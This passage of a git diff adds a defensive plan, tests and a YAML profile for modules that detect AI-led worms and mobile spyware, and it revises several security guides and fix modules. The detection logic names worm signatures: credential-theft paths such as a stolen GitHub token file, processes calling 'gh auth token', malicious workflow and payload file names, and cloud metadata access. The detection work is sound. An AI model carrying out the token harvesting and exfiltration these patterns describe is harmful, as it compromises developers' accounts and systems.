`bun`/`node`/`python` processes whose command line contains `gh auth token`. `confidence: "high"` — this is a specific Miasma signature. + +Fix actions: +- `confidence == "high"`: `os.kill(pid, signal.SIGTERM)` for malicious connections, remove `/etc/hosts` bypass entries +- `confidence != "high"`: Informational + +- [ ] **Step 4: Run tests to verify they pass** + +Run: `python -m pytest tests/test_module_ai_worm_network.py -v` +Expected: All tests PASS + +- [ ] **Step 5: Commit** + +```bash +git add modules/security/ai_worm_network/ tests/test_module_ai_worm_network.py +git commit -m "feat: add ai_worm_network module for C2 and exfiltration detection" +``` + +--- + +### Task 6: `ai_worm_lateral` Module + +**Files:** +- Create: `modules/security/ai_worm_lateral/__init__.py` +- Create: `tests/test_module_ai_worm_lateral.py` + +**Interfaces:** +- Consumes: `load_iocs()` from Task 1 — uses `iocs.paths` for credential file locations, `iocs.hashes` for known payloads +- Produces: `Module` class with `name = "ai_worm_lateral"` + +- [ ] **Step 1: Write the failing tests** + +```python +# tests/test_module_ai_worm_lateral.py +import sys +import os +from pathlib import Path +from unittest.mock import patch, MagicMock + +sys.path.insert(0, str(Path(__file__).parent.parent)) + +from rescue.models import SystemProfile, Platform, Severity, RiskLevel, Mode +from rescue.registry import discover_modules + + +def _make_profile(platform=Platform.DARWIN): + return SystemProfile( + platform=platform, + os_name="macOS", + os_version="15.2", + architecture="arm64", + cpu_model="Apple M2", + cpu_cores=8, + ram_bytes=16 * 1024**3, + ) + + +def _get_module(): + modules_dir = Path(__file__).parent.parent / "modules" + modules = discover_modules(modules_dir) + return next(m for m in modules if m.name == "ai_worm_lateral") + + +def test_module_discovered(): + mod = _get_module() + assert mod.name == "ai_worm_lateral" + assert mod.category == "security" + assert mod.risk_level == RiskLevel.MODERATE + + +def test_clean_system_no_findings(): + mod = _get_module() + with patch("subprocess.run") as mock_run: + mock_run.return_value = MagicMock(stdout="", returncode=0) + with patch.object(Path, "exists", return_value=False): + with patch.object(Path, "is_file", return_value=False): + result = mod.check(_make_profile()) + assert not result.has_issues + + +def test_detects_stolen_credential_file(): + """Detect Miasma stolen PAT storage file.""" + mod = _get_module() + + with patch("subprocess.run") as mock_run: + mock_run.return_value = MagicMock(stdout="", returncode=0) + with patch.object( + mod, + "_check_credential_harvesting", + return_value=[ + { + "path": str(Path.home() / ".config/gh-token-monitor/token"), + "threat": "miasma", + "ioc_match": True, + } + ], + ): + result = mod.check(_make_profile()) + + cred_findings = [ + f + for f in result.findings + if f.data.get("check") == "credential_harvesting" + ] + assert len(cred_findings) > 0 + assert cred_findings[0].data["confidence"] == "high" + + +def test_detects_shai_halud_workflow(): + """Detect shai-hulud-workflow.yml in repos.""" + mod = _get_module() + + with patch("subprocess.run") as mock_run: + mock_run.return_value = MagicMock(stdout="", returncode=0) + with patch.object(Path, "exists", return_value=False): + with patch.object( + mod, + "_check_supply_chain_artifacts", + return_value=[ + { + "path": "/Users/dev/project/.github/workflows/shai-hulud-workflow.yml", + "threat": "shai_hulud", + "type": "workflow", + } + ], + ): + result = mod.check(_make_profile()) + + sc_findings = [ + f + for f in result.findings + if f.data.get("check") == "supply_chain_artifact" + ] + assert len(sc_findings) > 0 + assert sc_findings[0].severity == Severity.CRITICAL + + +def test_detects_imds_access(): + """Detect processes querying cloud instance metadata service.""" + mod = _get_module() + + lsof_output = ( + "COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME\n" + "python3 12345 user 10u IPv4 0x1234 0t0 TCP " + "10.0.0.1:50000->169.254.169.254:80 (ESTABLISHED)" + ) + + with patch("subprocess.run") as mock_run: + mock_result = MagicMock() + mock_result.stdout = lsof_output + mock_result.returncode = 0 + + def side_effect(cmd, **kwargs): + if cmd[0] == "lsof": + return mock_result + return MagicMock(stdout="", returncode=0) + + mock_run.side_effect = side_effect + + with patch.object(Path, "exists", return_value=False): + with patch.object(Path, "is_file", return_value=False): + result = mod.check(_make_profile()) + + imds_findings = [ + f for f in result.findings if f.data.get("check") == "imds_access" + ] + assert len(imds_findings) > 0 + assert imds_findings[0].data["confidence"] == "medium" + + +def test_fix_provides_rotation_guidance(): + mod = _get_module() + from rescue.models import CheckResult, Finding + + check = CheckResult( + module_name="ai_worm_lateral", + findings=[ + Finding( + title="Stolen credential file", + description="Miasma PAT storage", + severity=Severity.CRITICAL, + category="security", + data={ + "check": "credential_harvesting", + "confidence": "high", + "path": str( + Path.home() / ".config/gh-token-monitor/token" + ), + "threat": "miasma", + }, + ), + ], + ) + + with patch("os.remove"): + fix = mod.fix(check, Mode.MANUAL) + + assert len(fix.actions) > 0 + # Should include guidance about credential rotation + action_text = " ".join(a.description for a in fix.actions).lower() + assert "rotat" in action_text or "revok" in action_text + + +def test_subprocess_timeout_handled(): + mod = _get_module() + import subprocess as sp + + with patch("subprocess.run", side_effect=sp.TimeoutExpired("cmd", 5)): + with patch.object(Path, "exists", return_value=False): + with patch.object(Path, "is_file", return_value=False): + result = mod.check(_make_profile()) + assert not result.has_issues +``` + +- [ ] **Step 2: Run tests to verify they fail** + +Run: `python -m pytest tests/test_module_ai_worm_lateral.py -v` +Expected: FAIL — module not found + +- [ ] **Step 3: Write the module implementation** + +Implement `modules/security/ai_worm_lateral/__init__.py` with: +- `_check_credential_harvesting()`: Check for known credential storage files from IOC database (e.g., `~/.config/gh-token-monitor/token`). For IOC-matched paths → `confidence: "high"`. Do NOT flag standard credential files (`~/.aws/credentials`, `~/.ssh/id_rsa`) just for existing — that's normal. Only flag them if there's a corroborating signal (recent atime from a non-standard process, file permissions changed). +- `_check_supply_chain_artifacts()`: Scan current directory and `~/src/`, `~/projects/`, `~/code/` for `.github/workflows/shai-hulud-workflow.yml`, `setup_bun.js`, `bun_environment.js` in package directories. +- `_check_imds_access()`: Run `lsof -i -n -P`, search for connections to `169.254.169.254` from non-cloud-CLI processes. `confidence: "medium"`. +- `_check_npm_publish_history()`: Run `npm whoami` and `npm profile get` to check if npm credentials are active, informational only. + +Fix actions: +- `confidence == "high"`: Remove known malicious files (stolen credential storage), remove supply chain artifacts (malicious workflows, payload files) +- All findings: Include credential rotation guidance in action descriptions + +- [ ] **Step 4: Run tests to verify they pass** + +Run: `python -m pytest tests/test_module_ai_worm_lateral.py -v` +Expected: All tests PASS + +- [ ] **Step 5: Commit** + +```bash +git add modules/security/ai_worm_lateral/ tests/test_module_ai_worm_lateral.py +git commit -m "feat: add ai_worm_lateral module for lateral movement and supply chain detection" +``` + +--- + +### Task 7: `mvt_spyware_scan` Module + +**Files:** +- Create: `modules/security/mvt_spyware_scan/__init__.py` +- Create: `tests/test_module_mvt_spyware_scan.py` + +**Interfaces:** +- Consumes: External `mvt` CLI tool (optional dependency) +- Produces: `Module` class with `name = "mvt_spyware_scan"`, `risk_level = RiskLevel.SAFE` + +- [ ] **Step 1: Write the failing tests** + +```python +# tests/test_module_mvt_spyware_scan.py +import sys +import json +from pathlib import Path +from unittest.mock import patch, MagicMock + +sys.path.insert(0, str(Path(__file__).parent.parent)) + +from rescue.models import SystemProfile, Platform, Severity, RiskLevel, Mode +from rescue.registry import discover_modules + + +def _make_profile(platform=Platform.DARWIN): + return SystemProfile( + platform=platform, + os_name="macOS", + os_version="15.2", + architecture="arm64", + cpu_model="Apple M2", + cpu_cores=8, + ram_bytes=16 * 1024**3, + ) + + +def _get_module(): + modules_dir = Path(__file__).parent.parent / "modules" + modules = discover_modules(modules_dir) + return next(m for m in modules if m.name == "mvt_spyware_scan") + + +def test_module_discovered(): + mod = _get_module() + assert mod.name == "mvt_spyware_scan" + assert mod.category == "security" + assert mod.risk_level == RiskLevel.SAFE + assert Platform.DARWIN in mod.platforms + assert Platform.LINUX in mod.platforms + + +def test_no_backups_no_findings(): + """No findings when no device backups are found.""" + mod = _get_module() + with patch.object(Path, "exists", return_value=False): + with patch.object(Path, "is_dir", return_value=False): + result = mod.check(_make_profile()) + # Should report info that no backups were found, not an error + assert not any(f.severity == Severity.CRITICAL for f in result.findings) + + +def test_mvt_not_installed_reports_info(): + """When MVT is not installed, report as informational finding.""" + mod = _get_module() + + with patch.object(Path, "exists", return_value=True): + with patch.object(Path, "is_dir", return_value=True): + with patch.object(Path, "iterdir", return_value=[Path("/fake/backup")]): + with patch("shutil.which", return_value=None): + result = mod.check(_make_profile()) + + mvt_findings = [ + f for f in result.findings if f.data.get("check") == "mvt_not_installed" + ] + assert len(mvt_findings) > 0 + assert mvt_findings[0].severity == Severity.INFO + + +def test_mvt_scan_with_detection(): + """When MVT finds spyware indicators, report as critical findings.""" + mod = _get_module() + + mvt_output = json.dumps( + [ + { + "module": "safari_history", + "detected": True, + "indicator": "suspicious-domain.com", + "matched_indicator": { + "type": "domain-name", + "value": "suspicious-domain.com", + }, + } + ] + ) + + with patch.object(Path, "exists", return_value=True): + with patch.object(Path, "is_dir", return_value=True): + with patch.object( + Path, "iterdir", return_value=[Path("/fake/backup/abc123")] + ): + with patch("shutil.which", return_value="/usr/local/bin/mvt-ios"): + with patch("subprocess.run") as mock_run: + mock_result = MagicMock() + mock_result.returncode = 0 + mock_result.stdout = "" + mock_run.return_value = mock_result + with patch.object( + mod, + "_parse_mvt_output", + return_value=[ + { + "module": "safari_history", + "indicator": "suspicious-domain.com", + "indicator_type": "domain-name", + } + ], + ): + result = mod.check(_make_profile()) + + spyware_findings = [ + f for f in result.findings if f.data.get("check") == "mvt_spyware_detected" + ] + assert len(spyware_findings) > 0 + assert spyware_findings[0].severity == Severity.CRITICAL + + +def test_fix_provides_guidance(): + """fix() provides informational guidance for spyware remediation.""" + mod = _get_module() + from rescue.models import CheckResult, Finding + + check = CheckResult( + module_name="mvt_spyware_scan", + findings=[ + Finding( + title="Spyware indicator detected", + description="Pegasus indicator in safari_history", + severity=Severity.CRITICAL, + category="security", + data={ + "check": "mvt_spyware_detected", + "module": "safari_history", + "indicator": "suspicious-domain.com", + }, + ), + ], + ) + + fix = mod.fix(check, Mode.MANUAL) + + assert len(fix.actions) > 0 + assert fix.all_succeeded + action_text = " ".join(a.description for a in fix.actions).lower() + assert "factory reset" in action_text or "update" in action_text + + +def test_windows_reports_wsl_requirement(): + """On Windows, report that MVT requires WSL.""" + mod = _get_module() + result = mod.check(_make_profile(platform=Platform.WIN32)) + + wsl_findings = [ + f for f in result.findings if f.data.get("check") == "mvt_requires_wsl" + ] + assert len(wsl_findings) > 0 +``` + +- [ ] **Step 2: Run tests to verify they fail** + +Run: `python -m pytest tests/test_module_mvt_spyware_scan.py -v` +Expected: FAIL — module not found + +- [ ] **Step 3: Write the module implementation** + +Implement `modules/security/mvt_spyware_scan/__init__.py` with: +- `check()`: + 1. On Windows, return INFO finding that MVT requires WSL + 2. Discover iOS backups at platform-specific locations (`~/Library/Application Support/MobileSync/Backup/` on macOS) + 3. Check if `mvt-ios` or `mvt-android` is installed via `shutil.which()` + 4. If not installed, return INFO finding with install instructions (`pip install mvt`) + 5. If installed and backups found, run `mvt-ios check-backup --output ` via `subprocess.run` + 6. Parse MVT's JSON output files in the output directory via `_parse_mvt_output()` + 7. Convert detections to CRITICAL findings +- `fix()`: Informational only — factory reset guidance, OS update instructions, Lockdown Mode recommendation, Amnesty International Security Lab resources link +- `_parse_mvt_output(output_dir)`: Read JSON files from MVT output directory, extract entries where `detected == True` +- Include caveat in any clean-scan finding: "Absence of findings does NOT guarantee the device is clean" + +- [ ] **Step 4: Run tests to verify they pass** + +Run: `python -m pytest tests/test_module_mvt_spyware_scan.py -v` +Expected: All tests PASS + +- [ ] **Step 5: Commit** + +```bash +git add modules/security/mvt_spyware_scan/ tests/test_module_mvt_spyware_scan.py +git commit -m "feat: add mvt_spyware_scan module for mobile spyware detection" +``` + +--- + +### Task 8: Threat Profile + Integration Test + +**Files:** +- Create: `profiles/ai_worm_response.yaml` +- Create: `tests/test_ai_worm_profile.py` + +**Interfaces:** +- Consumes: All six modules from Tasks 2-7, profile system from `rescue/profiles.py` +- Produces: Working threat profile that activates all AI worm modules together + +- [ ] **Step 1: Write the profile integration test** + +```python +# tests/test_ai_worm_profile.py +import sys +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).parent.parent)) + +from rescue.models import Platform +from rescue.registry import discover_modules, filter_by_platform +from rescue.profiles import load_profile, filter_modules_by_profile + + +def test_profile_loads(): + """ai_worm_response profile loads without errors.""" + profile_path = Path(__file__).parent.parent / "profiles" / "ai_worm_response.yaml" + profile = load_profile(profile_path) + assert profile.name == "ai_worm_response" + assert profile.display_name == "AI Worm & Spyware Response" + + +def test_profile_includes_all_modules(): + """Profile includes all six AI worm detection modules.""" + profile_path = Path(__file__).parent.parent / "profiles" / "ai_worm_response.yaml" + profile = load_profile(profile_path) + + expected = { + "ai_worm_filesystem", + "ai_worm_git_ssh", + "ai_worm_persistence", + "ai_worm_network", + "ai_worm_lateral", + "mvt_spyware_scan", + } + assert set(profile.include_modules) == expected + + +def test_profile_filters_modules(): + """Profile correctly filters discovered modules to only the AI worm pack.""" + profile_path = Path(__file__).parent.parent / "profiles" / "ai_worm_response.yaml" + profile = load_profile(profile_path) + + modules_dir = Path(__file__).parent.parent / "modules" + all_modules = discover_modules(modules_dir) + filtered = filter_modules_by_profile(all_modules, profile) + + filtered_names = {m.name for m in filtered} + expected = { + "ai_worm_filesystem", + "ai_worm_git_ssh", + "ai_worm_persistence", + "ai_worm_network", + "ai_worm_lateral", + "mvt_spyware_scan", + } + assert filtered_names == expected + + +def test_all_modules_discoverable(): + """All six modules are discovered by the registry.""" + modules_dir = Path(__file__).parent.parent / "modules" + all_modules = discover_modules(modules_dir) + module_names = {m.name for m in all_modules} + + expected = { + "ai_worm_filesystem", + "ai_worm_git_ssh", + "ai_worm_persistence", + "ai_worm_network", + "ai_worm_lateral", + "mvt_spyware_scan", + } + assert expected.issubset(module_names) + + +def test_module_config_sensitivity(): + """Profile provides sensitivity config for AI worm modules.""" + profile_path = Path(__file__).parent.parent / "profiles" / "ai_worm_response.yaml" + profile = load_profile(profile_path) + + for module_name in [ + "ai_worm_filesystem", + "ai_worm_git_ssh", + "ai_worm_persistence", + "ai_worm_network", + "ai_worm_lateral", + ]: + assert module_name in profile.module_config + assert profile.module_config[module_name]["sensitivity"] == "elevated" +``` + +- [ ] **Step 2: Run tests to verify they fail** + +Run: `python -m pytest tests/test_ai_worm_profile.py -v` +Expected: FAIL — profile file not found + +- [ ] **Step 3: Create the profile YAML** + +```yaml +# profiles/ai_worm_response.yaml +name: ai_worm_response +display_name: "AI Worm & Spyware Response" +description: > + Comprehensive scan for AI-led worm compromise (Shai Halud, Miasma, + SANDWORM_MODE, SesameOp) and mobile spyware. Checks filesystem + artifacts, git/SSH integrity, persistence mechanisms, network C2, + lateral movement indicators, and mobile device backups. +modules: + include: + - ai_worm_filesystem + - ai_worm_git_ssh + - ai_worm_persistence + - ai_worm_network + - ai_worm_lateral + - mvt_spyware_scan + exclude: [] +module_config: + ai_worm_filesystem: + sensitivity: elevated + ai_worm_git_ssh: + sensitivity: elevated + ai_worm_persistence: + sensitivity: elevated + ai_worm_network: + sensitivity: elevated + ai_worm_lateral: + sensitivity: elevated +``` + +- [ ] **Step 4: Run tests to verify they pass** + +Run: `python -m pytest tests/test_ai_worm_profile.py -v` +Expected: All tests PASS + +- [ ] **Step 5: Run the full test suite** + +Run: `python -m pytest tests/test_ioc_loader.py tests/test_module_ai_worm_filesystem.py tests/test_module_ai_worm_git_ssh.py tests/test_module_ai_worm_persistence.py tests/test_module_ai_worm_network.py tests/test_module_ai_worm_lateral.py tests/test_module_mvt_spyware_scan.py tests/test_ai_worm_profile.py -v` +Expected: All tests PASS + +- [ ] **Step 6: Commit** + +```bash +git add profiles/ai_worm_response.yaml tests/test_ai_worm_profile.py +git commit -m "feat: add ai_worm_response threat profile activating all worm detection modules" +``` diff --git a/guides/digital_security_reset/phase_2.md b/guides/digital_security_reset/phase_2.md index 8b2a614..6396665 100644 --- a/guides/digital_security_reset/phase_2.md +++ b/guides/digital_security_reset/phase_2.md @@ -2,8 +2,8 @@ profile: digital_security_reset phase: 2 title: "Immediate Protective Actions" -automatable_steps: [3, 4] -human_only_steps: [1, 2] +automatable_steps: [4] +human_only_steps: [1, 2, 3] estimated_time: "30 minutes" --- @@ -19,12 +19,11 @@ app rather than SMS. ## Step 3: Revoke sessions and connected apps you don't recognize -Run the session revocation scan to list active sessions and third-party -app connections across your accounts, and revoke anything you don't -recognize or no longer use. +Review each provider's active sessions and connected-apps page, and revoke +anything you do not recognize or no longer use. This requires signing in to +the provider directly; the toolkit does not access account sessions or tokens. ## Step 4: Run the stalkerware and remote-access scan -Run the tool's scan for remote access tools, screen-sharing software, and -stalkerware-style apps that could be letting someone else see what you're -doing. +Run the profile's local security checks for remote login, unexpected network +connections, suspicious processes, browser extensions, and sharing services. diff --git a/guides/digital_security_reset/phase_3.md b/guides/digital_security_reset/phase_3.md index ccc2b17..f24e34a 100644 --- a/guides/digital_security_reset/phase_3.md +++ b/guides/digital_security_reset/phase_3.md @@ -2,22 +2,20 @@ profile: digital_security_reset phase: 3 title: "Systematic Cleanup" -automatable_steps: [1, 2, 5] -human_only_steps: [3, 4, 6] +automatable_steps: [] +human_only_steps: [1, 2, 3, 4, 5, 6] estimated_time: "45 minutes" --- ## Step 1: Reset your primary email password -Run the password manager check to confirm your new email password is -strong and not reused anywhere else, and that it's saved somewhere you'll -actually find it again. +Use your password manager to confirm the new password is long, unique, and +stored where you can recover it. The toolkit does not inspect passwords. ## Step 2: Reset passwords for your top 5 accounts Banking, primary social media, cloud storage, and your main work account -first. Run the password manager check again after each one to confirm -it's unique. +first. Confirm in your password manager that each password is unique. ## Step 3: Clean up saved browser passwords @@ -33,8 +31,8 @@ transactions with you. ## Step 5: Run the 2FA audit -Run the 2FA audit module to see which of your accounts don't have -two-factor authentication enabled yet, and turn it on for each one. +Review each provider directly to see which accounts lack two-factor +authentication, then enable it where available. ## Step 6: Write down your progress diff --git a/guides/digital_security_reset/phase_4.md b/guides/digital_security_reset/phase_4.md index 1d4a1c7..cd49479 100644 --- a/guides/digital_security_reset/phase_4.md +++ b/guides/digital_security_reset/phase_4.md @@ -2,8 +2,8 @@ profile: digital_security_reset phase: 4 title: "Rebuilding Security" -automatable_steps: [2] -human_only_steps: [1, 3, 4] +automatable_steps: [] +human_only_steps: [1, 2, 3, 4] estimated_time: "40 minutes" --- @@ -14,8 +14,9 @@ accounts into it — starting with the ones you haven't touched yet. ## Step 2: Verify unique passwords everywhere -Run the password manager check across your full account list from Phase 1 -to confirm nothing is reused and everything meets a minimum strength bar. +Use your password manager's security report across the account list from +Phase 1 to confirm nothing is reused and everything meets a minimum strength +bar. ## Step 3: Review app permissions on your phone diff --git a/guides/home_for_the_holidays/phase_1.md b/guides/home_for_the_holidays/phase_1.md index 058f578..28f8138 100644 --- a/guides/home_for_the_holidays/phase_1.md +++ b/guides/home_for_the_holidays/phase_1.md @@ -2,16 +2,15 @@ profile: home_for_the_holidays phase: 1 title: "The Family Device Checkup" -automatable_steps: [1, 2, 3] -human_only_steps: [4, 5, 6, 7, 8, 9, 10, 11, 12, 13] +automatable_steps: [1] +human_only_steps: [2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13] estimated_time: "2 hours" --- ## Step 1: Run a full device health check -Run the disk space check and any available malware and update scans to -get a picture of what state the device is actually in before you touch -anything. +Run the profile's disk-space, storage-health, malware-indicator, and update +checks to understand the device before making changes. ## Step 2: Clear out old temp files and caches diff --git a/modules/bloatware/login_items/__init__.py b/modules/bloatware/login_items/__init__.py index c061bf1..51aa6de 100644 --- a/modules/bloatware/login_items/__init__.py +++ b/modules/bloatware/login_items/__init__.py @@ -15,8 +15,9 @@ SystemProfile, ) from rescue.module_base import ModuleBase +from rescue.runtime import content_file -DATA_FILE = Path(__file__).parent / "data" / "known_bloatware.json" +DATA_FILE = content_file("modules/bloatware/login_items/data/known_bloatware.json") class Module(ModuleBase): diff --git a/modules/bloatware/process_scanner/__init__.py b/modules/bloatware/process_scanner/__init__.py index 0fbf8a9..436d25f 100644 --- a/modules/bloatware/process_scanner/__init__.py +++ b/modules/bloatware/process_scanner/__init__.py @@ -14,8 +14,9 @@ SystemProfile, ) from rescue.module_base import ModuleBase +from rescue.runtime import content_file -DATA_FILE = Path(__file__).parent / "data" / "known_bloatware.json" +DATA_FILE = content_file("modules/bloatware/process_scanner/data/known_bloatware.json") CRITICAL_CATEGORIES = {"scareware"} diff --git a/modules/bloatware/startup_auditor/__init__.py b/modules/bloatware/startup_auditor/__init__.py index 1fa6280..bc9aeab 100644 --- a/modules/bloatware/startup_auditor/__init__.py +++ b/modules/bloatware/startup_auditor/__init__.py @@ -5,6 +5,7 @@ from rescue.models import ( Action, + ActionKind, CheckResult, Finding, FixResult, @@ -15,8 +16,9 @@ SystemProfile, ) from rescue.module_base import ModuleBase +from rescue.runtime import content_file -DATA_FILE = Path(__file__).parent / "data" / "known_bloatware.json" +DATA_FILE = content_file("modules/bloatware/startup_auditor/data/known_bloatware.json") class Module(ModuleBase): @@ -75,6 +77,8 @@ def fix(self, findings: CheckResult, mode: Mode) -> FixResult: f"next login, remove the file at {plist_path}." ), risk_level=RiskLevel.MODERATE, + kind=ActionKind.MUTATION, + executed=True, success=success, error=error, ) diff --git a/modules/bloatware/win_bloatware/__init__.py b/modules/bloatware/win_bloatware/__init__.py index cfeddba..9780e5b 100644 --- a/modules/bloatware/win_bloatware/__init__.py +++ b/modules/bloatware/win_bloatware/__init__.py @@ -14,8 +14,9 @@ SystemProfile, ) from rescue.module_base import ModuleBase +from rescue.runtime import content_file -DATA_FILE = Path(__file__).parent / "data" / "known_bloatware.json" +DATA_FILE = content_file("modules/bloatware/win_bloatware/data/known_bloatware.json") class Module(ModuleBase): diff --git a/modules/integrity/win_updates/__init__.py b/modules/integrity/win_updates/__init__.py index d7b6c69..477a59c 100644 --- a/modules/integrity/win_updates/__init__.py +++ b/modules/integrity/win_updates/__init__.py @@ -3,6 +3,7 @@ from rescue.models import ( Action, + ActionKind, CheckResult, Finding, FixResult, @@ -19,7 +20,7 @@ class Module(ModuleBase): name = "win_updates" category = "integrity" platforms = [Platform.WIN32] - risk_level = RiskLevel.SAFE + risk_level = RiskLevel.MODERATE priority = 55 depends_on = [] estimated_duration = "10s" @@ -80,7 +81,9 @@ def fix(self, findings: CheckResult, mode: Mode) -> FixResult: Action( title="Start Windows Update service", description="Ran `Start-Service -Name wuauserv`.", - risk_level=RiskLevel.SAFE, + risk_level=RiskLevel.MODERATE, + kind=ActionKind.MUTATION, + executed=True, success=success, error=error, ) diff --git a/modules/security/ai_threat_indicators/__init__.py b/modules/security/ai_threat_indicators/__init__.py index 15d79a1..d12fc57 100644 --- a/modules/security/ai_threat_indicators/__init__.py +++ b/modules/security/ai_threat_indicators/__init__.py @@ -1,6 +1,7 @@ import os import subprocess import re +import time from pathlib import Path from rescue.models import ( @@ -56,6 +57,10 @@ "llama-index", } +MAX_CONFIG_SCAN_SECONDS = 1.0 +MAX_CONFIG_SCAN_FILES = 200 +MAX_CONFIG_SCAN_DEPTH = 2 + class Module(ModuleBase): name = "ai_threat_indicators" @@ -407,11 +412,7 @@ def _check_config_files(self) -> list[Finding]: """Check ~/.config and ~/.local for AI agent configuration files.""" findings = [] - config_paths = [ - Path.home() / ".config", - Path.home() / ".local", - Path.home() / ".cache", - ] + config_paths = [Path.home() / ".config", Path.home() / ".local"] suspicious_patterns = [ r"ai.?agent", @@ -422,70 +423,57 @@ def _check_config_files(self) -> list[Finding]: r"anthropic", ] - for config_path in config_paths: - if not config_path.exists(): + deadline = time.monotonic() + MAX_CONFIG_SCAN_SECONDS + for item in _bounded_files(config_paths, deadline): + filename = item.name.lower() + if not any(re.search(pattern, filename) for pattern in suspicious_patterns): continue - - try: - # Look for suspicious config files - for item in config_path.rglob("*"): - if not item.is_file(): + if item.suffix in [".log", ".txt", ".md"]: + try: + if item.stat().st_size > 10 * 1024 * 1024: continue - - # Check filename matches suspicious patterns - filename = item.name.lower() - for pattern in suspicious_patterns: - if re.search(pattern, filename): - # Skip common false positives - if item.suffix in [".log", ".txt", ".md"]: - try: - # Check file size to avoid huge files - if item.stat().st_size > 10 * 1024 * 1024: # 10MB - continue - - with open(item, "r", encoding="utf-8", errors="ignore") as f: - content = f.read(1000) # Read first 1KB - # Check if content has AI references - if any( - endpoint.lower() in content.lower() - for endpoint in AI_API_ENDPOINTS - ): - findings.append( - Finding( - title=f"AI configuration file detected: {item.name}", - description=( - f"Found potential AI agent configuration at {item}. " - f"Review and remove if unauthorized." - ), - severity=Severity.WARNING, - category=self.category, - data={ - "check": "ai_config_file", - "config_path": str(item), - }, - ) - ) - except (IOError, OSError): - continue - else: - findings.append( - Finding( - title=f"AI agent configuration file detected: {item.name}", - description=( - f"Found suspicious configuration file at {item}. " - f"Review and remove if not authorized." - ), - severity=Severity.INFO, - category=self.category, - data={ - "check": "ai_config_file", - "config_path": str(item), - }, - ) - ) - break - except (IOError, OSError): - # Skip directories we can't read - continue + with open(item, "r", encoding="utf-8", errors="ignore") as file: + content = file.read(1000).lower() + except (IOError, OSError): + continue + if not any(endpoint.lower() in content for endpoint in AI_API_ENDPOINTS): + continue + findings.append( + Finding( + title=f"AI-related configuration file detected: {item.name}", + description=( + f"Found an AI-related configuration at {item}. Review it to confirm " + "that it belongs to software you intentionally installed." + ), + severity=Severity.INFO, + category=self.category, + data={"check": "ai_config_file", "config_path": str(item)}, + ) + ) return findings + + +def _bounded_files(roots: list[Path], deadline: float): + seen = 0 + stack = [(root, 0) for root in roots if root.exists()] + while stack and seen < MAX_CONFIG_SCAN_FILES and time.monotonic() < deadline: + directory, depth = stack.pop() + try: + children = list(directory.iterdir()) + except OSError: + continue + for child in children: + if seen >= MAX_CONFIG_SCAN_FILES or time.monotonic() >= deadline: + return + try: + if child.is_symlink(): + continue + if child.is_dir(): + if depth < MAX_CONFIG_SCAN_DEPTH and child.name not in {".git", "node_modules", "venv"}: + stack.append((child, depth + 1)) + elif child.is_file(): + seen += 1 + yield child + except OSError: + continue diff --git a/modules/security/firewall_audit/__init__.py b/modules/security/firewall_audit/__init__.py index 3c10468..e2430b6 100644 --- a/modules/security/firewall_audit/__init__.py +++ b/modules/security/firewall_audit/__init__.py @@ -2,6 +2,7 @@ from rescue.models import ( Action, + ActionKind, CheckResult, Finding, FixResult, @@ -91,6 +92,8 @@ def fix(self, findings: CheckResult, mode: Mode) -> FixResult: title=label, description=f"Ran `socketfilterfw {flag} on`.", risk_level=RiskLevel.MODERATE, + kind=ActionKind.MUTATION, + executed=True, success=success, error=error, ) diff --git a/modules/security/win_antivirus_status/__init__.py b/modules/security/win_antivirus_status/__init__.py index 0345be0..66775fc 100644 --- a/modules/security/win_antivirus_status/__init__.py +++ b/modules/security/win_antivirus_status/__init__.py @@ -4,6 +4,7 @@ from rescue.models import ( Action, + ActionKind, CheckResult, Finding, FixResult, @@ -20,7 +21,7 @@ class Module(ModuleBase): name = "win_antivirus_status" category = "security" platforms = [Platform.WIN32] - risk_level = RiskLevel.SAFE + risk_level = RiskLevel.MODERATE priority = 60 depends_on = [] estimated_duration = "10s" @@ -161,7 +162,7 @@ def fix(self, findings: CheckResult, mode: Mode) -> FixResult: Action( title=title, description=description, - risk_level=RiskLevel.SAFE, + risk_level=RiskLevel.MODERATE, success=False, error="Manual installation of antivirus product required", ) @@ -187,10 +188,12 @@ def fix(self, findings: CheckResult, mode: Mode) -> FixResult: actions.append( Action( - title=title, - description=description, - risk_level=RiskLevel.SAFE, - success=success, + title=title, + description=description, + risk_level=RiskLevel.MODERATE, + kind=ActionKind.MUTATION, + executed=True, + success=success, error=error, ) ) diff --git a/modules/security/win_defender/__init__.py b/modules/security/win_defender/__init__.py index 7edfc1f..2154a68 100644 --- a/modules/security/win_defender/__init__.py +++ b/modules/security/win_defender/__init__.py @@ -3,6 +3,7 @@ from rescue.models import ( Action, + ActionKind, CheckResult, Finding, FixResult, @@ -107,10 +108,12 @@ def fix(self, findings: CheckResult, mode: Mode) -> FixResult: error = str(e) actions.append( Action( - title=title, - description=f"Ran `{ps_command}`.", - risk_level=RiskLevel.MODERATE, - success=success, + title=title, + description=f"Ran `{ps_command}`.", + risk_level=RiskLevel.MODERATE, + kind=ActionKind.MUTATION, + executed=True, + success=success, error=error, ) ) diff --git a/modules/security/win_firewall/__init__.py b/modules/security/win_firewall/__init__.py index c1db9f3..025c76c 100644 --- a/modules/security/win_firewall/__init__.py +++ b/modules/security/win_firewall/__init__.py @@ -2,6 +2,7 @@ from rescue.models import ( Action, + ActionKind, CheckResult, Finding, FixResult, @@ -79,10 +80,12 @@ def fix(self, findings: CheckResult, mode: Mode) -> FixResult: error = str(e) actions.append( Action( - title=f"Enable {profile_name} firewall", - description=f"Ran `netsh advfirewall set {keyword} state on`.", - risk_level=RiskLevel.MODERATE, - success=success, + title=f"Enable {profile_name} firewall", + description=f"Ran `netsh advfirewall set {keyword} state on`.", + risk_level=RiskLevel.MODERATE, + kind=ActionKind.MUTATION, + executed=True, + success=success, error=error, ) ) diff --git a/profiles/digital_security_reset.yaml b/profiles/digital_security_reset.yaml index 398f99c..50f1f5f 100644 --- a/profiles/digital_security_reset.yaml +++ b/profiles/digital_security_reset.yaml @@ -9,16 +9,16 @@ description: > maintenance. modules: include: - - password_manager_check - - twofa_audit - - session_revocation_scan + - malware_scan_indicators + - suspicious_processes + - remote_login_check + - network_connections_monitor + - browser_extension_audit + - app_permissions + - sharing_services exclude: [] module_config: - password_manager_check: - sensitivity: elevated - twofa_audit: - sensitivity: elevated - session_revocation_scan: + malware_scan_indicators: sensitivity: elevated guides: - digital_security_reset diff --git a/profiles/home_for_the_holidays.yaml b/profiles/home_for_the_holidays.yaml index a689644..9026ed4 100644 --- a/profiles/home_for_the_holidays.yaml +++ 